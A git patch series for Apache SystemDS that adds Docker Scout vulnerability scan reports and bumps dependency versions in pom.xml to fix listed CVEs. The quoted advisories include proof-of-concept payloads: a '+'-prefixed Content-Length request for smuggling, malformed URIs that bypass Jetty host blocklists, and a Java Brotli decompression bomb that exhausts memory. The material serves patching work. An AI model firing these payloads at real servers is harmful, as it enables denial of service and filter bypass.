+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
+medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ + +What's next: + View base image update recommendations → docker scout recommendations apache/systemds:latest + diff --git a/pom.xml b/pom.xml index 0ee81e34827..f74dbdabbfa 100644 --- a/pom.xml +++ b/pom.xml @@ -52,6 +52,8 @@ 12.6.0 2.0.11 2.22.1 + + 1.11.4 3.2.0 3.0.0 3.0.0 @@ -926,6 +928,18 @@ + + + + + + org.apache.avro + avro + ${avro.version} + + + + org.jcuda From 369f0540b703274f624ead0cc94c15a2b5bf5d7f Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Sun, 11 Jan 2026 15:27:25 +0100 Subject: [PATCH 05/31] [MINOR][SYSTEMDS-3878] Fix pom.xml vulnerability (CVE-2023-25613) This commit fixes the critical Apache Kerby LDAP Injection vulnerability identified by docker scout cves. The following changes have been made to pom.xml: - Added kerby.version property (2.0.3) - Added dependencyManagement section to override transitive dependency Source: https://scout.docker.com/v/CVE-2023-25613 --- docker/scout_results/kerby/sysds_output5.md | 3074 +++++++++++++++++++ pom.xml | 14 + 2 files changed, 3088 insertions(+) create mode 100644 docker/scout_results/kerby/sysds_output5.md diff --git a/docker/scout_results/kerby/sysds_output5.md b/docker/scout_results/kerby/sysds_output5.md new file mode 100644 index 00000000000..8e3c7c6e7a4 --- /dev/null +++ b/docker/scout_results/kerby/sysds_output5.md @@ -0,0 +1,3074 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ...Storing image for indexing + ✓ Image stored for indexing + ...Indexing + ✓ Indexed 358 packages + ✗ Detected 43 vulnerable packages with a total of 76 vulnerabilities +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:34aa623b2ccf8cf7a7ed8fa6b1ee890b036a5361e135123cbc9b0671ab6f5554
vulnerabilitiescritical: 3 high: 32 medium: 41 low: 10 unspecified: 1
platformlinux/amd64
size381 MB
packages358
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
